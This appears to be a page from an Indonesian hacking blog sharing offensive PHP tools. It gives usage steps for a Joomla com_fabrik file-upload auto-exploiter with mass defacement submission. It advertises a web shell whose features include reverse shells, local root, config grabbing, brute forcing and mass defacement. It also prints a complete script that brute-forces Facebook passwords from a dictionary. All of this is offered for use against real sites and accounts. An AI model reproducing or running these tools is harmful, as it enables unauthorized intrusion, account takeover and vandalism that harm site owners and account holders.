PHP
Showing posts with label PHP. Show all posts
Showing posts with label PHP. Show all posts

Joomla Component com_fabrik Arbitrary File Upload

Add Comment


Joomla Component com_fabrik Arbitrary File Upload
Author:
Et04 - bL@cKID
Auto Exploiter 
(Auto Upload, and Auto Submit Zone -H)
Coded by: L0c4lh34rtz - IndoXploit

********************************
Link Tools: PASTEBIN
********************************

1. Siapkan sebuah list target dalam sebuah file (target.txt), yang isinya seperti contoh berikut:
http://www.target.com/
2. Langsung saja jalankan toolsnya:
php fabrik.php target.txt

3. Jangan lupa selalu perhatikan perintah dalam scriptnya, untuk mengganti hal-hal yang diperlukan.
4. Result otomatis disimpan dalam file result_fabrik.txt

Gabutz Shell V3

Add Comment
Rilis Gabutz Shell V3
what it's new ?

-spawn anon(anonghost shell)
-localroot (auto root with perl)
-joomla brute force
-spawn uploader with txt
-spawn noname
-lokomedia + auto login + upload shell
-balitbang 3.5.3 (beta)
-cms popoji add admin
-sql scanner vulnerability
-streaming nekopoi
-streaming brazzer
-port scanner
-wordpress brute force
-wp auto hijack
-encode/decode
-Mail Spam
-zip menu
-full bypass
-bypass vhost
-bypass disable functions
-shell finder
-auto edit title wordpress
-Injection C0de
-domain viewer
-joomla brute force
-about me
-contact me
-music
fiture
=============================================
** COMMAND BASED ***
 - Read File
 usage: rf [filename]
 example: rf /etc/passwd

 - Spawn File/Tools
 usage: spawn [name]

 [name]
- Adminer (adminer)
 - WebConsole (webconsole)
 - CGI Telnet 1 (cgitelnet1)
 - CGI Telnet 2 (cgitelnet2)
 - PHPINFO (phpinfo)
-webdav(webdav)
-adfin (admin finder)
- elfinder (elfinder exploiter)
-kcfinder (kcfinder exploiter)
-csrf (csrf exploiter)
-files(files.1337) buat scanner files
-scn(scanner for python)
-gabutz2 (gabutz shell v1)
-gabutz1 (mini shell from gabutz shell v1)
-galau (galau shell v2 from 99syndicate)
-uploader txt
-anon (anonGhost shell)
-lokomedia + upload shell + auto login
-balitbang
-video (streaming nekopoi.brazzer)
-noname shell
-popoji add admin
-sql scanner vulnerability

 example:
 spawn adminer
 spawn webconsole
 spawn cgitelnet1
 spawn  webdav
 spawn adfin
 spawn elfinder
 spawn kcfinder
 spawn csrf
 spawn gabutz1
 spawn gabutz2
 spawn galau
 spawn scn
 spawn files
 spawn anon
 spawn uploader
 spawn video
 spawn balitbang
 spawn lokomedia
 spawn popoji
 spawn noname

- scanner
usage :
spawn scn
spawn files
spawn webconsole
isi
python scanner.py http://*lusuka.coli -m files (enter)

- Jumping
usage: jumping

- Config Grabber
usage: gabutsconfig

 - Symlink
 usage: symlink

 - Reverse Shell
 [Back Connect]
 usage: rvr bc [IP] [PORT] [TYPE]
 example:
 rvr bc 127.0.0.1 1337 bash
 rvr bc 127.0.0.1 1337 perl

 [Bind Port]
 usage: rvr bp [PORT] [TYPE]
 example:
 rvr bp 1337 perl

 - KRDP - Create RDP Account (for windows server only)
 usage: krdp

 - Logout From Shell
usage: logout

 - Kill Backdoor
usage: killme
=============================================
- Mass Password Change
- Fake Root
- Cpanel Crack
- Mass Deface/Delete File
- Zone-H Mass Submit
-joomla brute force
-localroot
-port scanner
-wordpress brute force
-wp auto hijack
-encode/decode
-Mail Spam
-zip menu
-full bypass
-bypass vhost
-bypass disable functions
-shell finder
-auto edit title wordpress -Injection C0de
-domain viewer
-joomla brute force
-about me
-contact me
-music
link ?
size ? 167b (0.167kb)
DOWNLOAD

default pass: mrcakil1234

[PHP] FaceBook Bruteforce PHP Script

Add Comment 
###########################

# FaceBook Bruteforce PHP Script

###########################

set_time_limit(0);
$username ="brute@force.org"; // username to brute force
$dictionary ="dictionary.txt"; // need dictionary to password list

function kontrol($kullaniciadi,$sifre){
$useragent = "Opera/9.21 (Windows NT 5.1; U; tr)";
$data = "email=$kullaniciadi&pass=$sifre&login=Login" ;
$ch = curl_init('https://login.facebook.com/login.php?m&next=http%3A%2F%2Fm.facebook.com%2Fhome.php');
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
$source=curl_exec ($ch);
curl_close ($ch);
if(eregi("Home</title>",$source)){return true;} else {return false;}

}

if(!is_file($dictionary)){echo "$dictionary is not file";exit;}
$lines=file($dictionary);
echo "Attack Starting..<br>";
sleep(10);
echo "Attack Started, brute forcing..<br>";
foreach($lines as $line){
$line=str_replace("\r","",$line);
$line=str_replace("\n","",$line);
if(kontrol($username,$line)){echo "<font face=tahoma color=green>***91;+***93;</font><font face=tahoma> username:$username , password:$line - P
assword found : $line</font><br>";$fp=fopen('cookie.txt','w');fwrite($fp,'');exit;}
else{echo "<font face=tahoma color=brown>***91;-***93;</font><font face=tahoma> username:$username , password:$line - Password not found :
$line</font><br>";}
}
?>

###########################
Subscribe to: Posts (Atom)